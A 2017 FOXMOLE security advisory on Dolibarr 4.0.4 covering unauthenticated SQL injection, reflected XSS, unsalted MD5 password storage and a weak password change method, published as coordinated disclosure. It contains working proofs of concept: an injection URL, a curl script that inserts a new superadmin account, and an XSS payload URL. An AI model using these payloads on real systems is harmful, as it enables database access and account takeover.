Dolibarr 4.0.4 SQL Injection / XSS / Weaknesses

`=== FOXMOLE - Security Advisory 2017-02-23 ===  
  
Dolibarr ERP & CRM - Multiple Issues  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Affected Versions  
=================  
Dolibarr 4.0.4  
  
Issue Overview  
==============  
Vulnerability Type: SQL Injection, Cross Site Scripting,  
Weak Hash Algorithm without Salt, Weak Password Change Method  
Technical Risk: critical  
Likelihood of Exploitation: medium  
Vendor: Dolibarr  
Vendor URL: https://www.dolibarr.org/  
Credits: FOXMOLE employees Tim Herres and Stefan Pietsch  
Advisory URL: https://www.foxmole.com/advisories/foxmole-2017-02-23.txt  
Advisory Status: Public  
OVE-ID: OVE-20170223-0001  
CVE Number: CVE-2017-7886, CVE-2017-7887, CVE-2017-7888  
CVE URL: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7886  
https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7887  
https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7888  
CWE-ID: CWE-79, CWE-89, CWE-327, CWE-620, CWE-759  
CVSS 2.0: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)  
  
  
Impact  
======  
There are SQL injection vulnerabilities, exploitable without authentication.  
An attacker could use the SQL Injection to access the database in an unsafe way.  
This means there is a high impact to all Dolibarr installations.  
The passwords in the database are stored as MD5 hashes which means they are easily crackable.  
The Dolibarr software also lacks input validation resulting in different reflected XSS vulnerabilities.  
  
Information  
===========  
We only provide examples for issues, there are quite more.  
It is really important to check the whole application for further vulnerabilities.  
We want that developers change the overall security according to security best  
practices instead of fixing only particular issues.  
  
Issue Description  
=================  
  
All items tested using FF52.  
  
1.) SQL Injection in style.css.php (CVE-2017-7886)  
Authentication Required:No  
  
PoC:  
http://192.168.241.143/doli/theme/eldy/style.css.php?lang=de%27%20procedure%20analyse(extractvalue(rand()%2cconcat(concat(0x3a,CURRENT_USER())))%2c1)--%201  
  
  
PoC creating a new admin user via SQL Injection:  
  
##################################################################################  
#!/bin/bash  
URL="http://192.168.19.19/theme/eldy/style.css.php?lang=de%27%3BINSERT%20INTO%20\  
llx_user%20VALUES%20(424242%2C%200%2C%20NULL%2C%20NULL%2C%201%2C%200%2C%20%27\  
1984-01-01%2000%3A00%3A00%27%2C%20%271984-01-01%2000%3A00%3A00.000%27%2C%20NULL\  
%2C%20NULL%2C%20%27newadmin%27%2C%20NULL%2C%20%2761529519452809720693702583126814\  
%27%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20NULL%2C%20%27SuperAdmin%27%2C%20%27%27\  
%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20%27\  
%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%201%2C%201%2C\  
%201%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20%27\  
2017-03-10%2000%3A00%3A00%27%2C%20%272017-03-10%2000%3A00%3A00%27%2C%20NULL%2C\  
%20%27%27%2C%20NULL%2C%201%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20NULL%2C%200%2C\  
%20%27%27%2C%200%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL)%3B--%27"  
  
curl -s ${URL}  
##################################################################################  
  
The script creates the user 'NEWADMIN' with password 'ximaz'.  
  
  
2.) Cross Site Scripting Reflected (CVE-2017-7887)  
http://192.168.241.143/doli/societe/list.php?sall=asd%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E  
  
3.) Passwords stored using MD5 hashes (CVE-2017-7888)  
The application stored the passwords using the MD5 hash algorithm without a  
salt. The MD5 hash is easily crackable.  
  
dolibarr=# SELECT login,pass_crypted FROM llx_user;  
login | pass_crypted  
-------+----------------------------------  
admin | 21232f297a57a5a743894a0e4a801fc3  
  
4.) Unsafe password change method  
A user can change his password without entering the recent one.  
  
  
  
Temporary Workaround and Fix  
============================  
FOXMOLE advises to restrict the access to all vulnerable Dolibarr systems until all vulnerabilities are fixed.  
  
  
  
History  
=======  
2017-02-15 Issue discovered  
2017-03-06 Vendor contacted  
2017-03-27 informed Vendor about disclosure date (2017-05-10)  
2017-04-18 added CVE Numbers  
2017-05-10 Advisory Release  
  
  
GPG Signature  
=============  
This advisory is signed with the GPG key of the FOXMOLE advisories team.  
The key can be downloaded here: https://www.foxmole.com/advisories-key-3812092199E3277C.asc  
  
`